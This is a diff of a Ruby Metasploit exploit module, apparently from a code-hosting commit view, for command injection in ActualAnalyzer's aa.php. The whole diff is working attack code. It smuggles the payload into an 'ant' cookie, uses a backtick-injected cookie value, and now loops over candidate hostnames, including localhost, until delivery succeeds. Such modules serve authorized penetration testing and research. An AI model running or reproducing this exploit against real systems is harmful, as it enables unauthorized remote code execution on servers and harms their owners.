@@ -209,32 +209,42 @@ def get_analytics_host_admin
209
209
end
210
210
end
211
211
212
- def exploit
213
- if datastore [ 'ANALYZER_HOST' ] . blank?
214
- analytics_host = get_analytics_host_code
215
- analytics_host = get_analytics_host_view if analytics_host . nil?
216
- analytics_host = get_analytics_host_admin if analytics_host . nil?
217
- analytics_host = vhost if analytics_host . nil?
218
- else
219
- analytics_host = datastore [ 'ANALYZER_HOST' ]
220
- end
212
+ def execute_command ( cmd , opts = { :analytics_host => vhost } )
221
213
vuln_cookies = %w( anw anm )
222
- print_status ( "#{ peer } - Sending payload (#{ payload . encoded . length } bytes)..." )
223
214
res = send_request_cgi (
224
215
'uri' => normalize_uri ( target_uri . path , 'aa.php' ) ,
225
- 'vars_get' => { 'anp' => analytics_host } ,
226
- 'cookie' => "ant=#{ payload . encoded } ; #{ vuln_cookies . sample } =#{ rand ( 100 ...999 ) } .`$cot`"
216
+ 'vars_get' => { 'anp' => opts [ : analytics_host] } ,
217
+ 'cookie' => "ant=#{ cmd } ; #{ vuln_cookies . sample } =#{ rand ( 100 ...999 ) } .`$cot`"
227
218
)
228
219
if !res
229
220
fail_with ( Failure ::TimeoutExpired , "#{ peer } - Connection timed out" )
230
221
elsif res . code == 302 && res . headers [ 'Content-Type' ] =~ /image/
231
222
print_good ( "#{ peer } - Payload sent successfully" )
223
+ return true
232
224
elsif res . code == 302 && res . headers [ 'Location' ] =~ /error\. gif/
233
- fail_with ( Failure :: BadConfig , "#{ peer } - Host '#{ analytics_host } ' is not monitored by ActualAnalyzer. set ANALYZER_HOST to specify ." )
225
+ vprint_status ( "#{ peer } - Host '#{ opts [ : analytics_host] } ' is not monitored by ActualAnalyzer." )
234
226
elsif res . code == 200 && res . body =~ /Admin area<\/ title>/
235
227
fail_with ( Failure ::Unknown , "#{ peer } - ActualAnalyzer is not installed. Try installing first." )
236
228
else
237
229
fail_with ( Failure ::Unknown , "#{ peer } - Something went wrong" )
238
230
end
239
231
end
232
+
233
+ def exploit
234
+ analytics_hosts = [ ]
235
+ if datastore [ 'ANALYZER_HOST' ] . blank?
236
+ analytics_hosts << get_analytics_host_code
237
+ analytics_hosts << get_analytics_host_view
238
+ analytics_hosts << get_analytics_host_admin
239
+ analytics_hosts << vhost
240
+ analytics_hosts << '127.0.0.1'
241
+ analytics_hosts << 'localhost'
242
+ else
243
+ analytics_hosts << datastore [ 'ANALYZER_HOST' ]
244
+ end
245
+ analytics_hosts . uniq . each do |host |
246
+ vprint_status ( "#{ peer } - Trying hostname '#{ host } ' - Sending payload (#{ payload . encoded . length } bytes)..." )
247
+ break if execute_command ( payload . encoded , { :analytics_host => host } )
248
+ end
249
+ end
240
250
end
0 commit comments